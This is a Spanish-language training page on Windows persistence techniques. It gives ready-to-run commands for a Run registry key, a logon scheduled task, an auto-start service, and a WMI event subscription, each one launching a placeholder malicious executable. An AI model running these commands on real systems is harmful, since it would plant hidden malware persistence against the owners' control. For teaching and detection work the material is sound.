> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/tecnicas-de-persistencia/persistencia-en-windows.md).

# Persistencia en Windows

## <mark style="color:green;">**Claves del Registro**</mark>

&#x20;Modificar claves del registro es una técnica común para lograr persistencia. Al agregar entradas maliciosas en el registro, los atacantes pueden asegurarse de que su código se ejecute automáticamente al iniciar el sistema.

<mark style="color:green;">**Run/RunOnce**</mark><mark style="color:green;">:</mark>

```powershell
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MyApp /t REG_SZ /d "C:\ruta\maliciosa.exe"
```

## <mark style="color:green;">**Tareas Programadas**</mark>&#x20;

Los atacantes pueden crear tareas programadas que ejecuten su payload en intervalos regulares o al inicio del sistema.

<mark style="color:green;">**schtasks**</mark><mark style="color:green;">:</mark>

```cmd
schtasks /create /sc onlogon /tn "MyTask" /tr "C:\ruta\maliciosa.exe"
```

## <mark style="color:green;">**Servicios de Windows**</mark>

&#x20;Crear o modificar servicios de Windows para que ejecuten el payload al inicio del sistema.

<mark style="color:green;">**sc**</mark><mark style="color:green;">:</mark>

```cmd
sc create MyService binPath= "C:\ruta\maliciosa.exe" start= auto
```

## <mark style="color:green;">**WMI Event Subscription**</mark>

&#x20;Utilizar WMI para suscribirse a eventos del sistema y ejecutar código malicioso en respuesta a ciertos eventos, como el inicio del sistema.

<mark style="color:green;">**PowerShell**</mark><mark style="color:green;">:</mark>

```powershell
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
    Name = "MyEventFilter";
    EventNamespace = "root\cimv2";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'";
    QueryLanguage = "WQL";
}
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
    Name = "MyConsumer";
    CommandLineTemplate = "C:\ruta\maliciosa.exe";
}
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter;
    Consumer = $consumer;
}
```
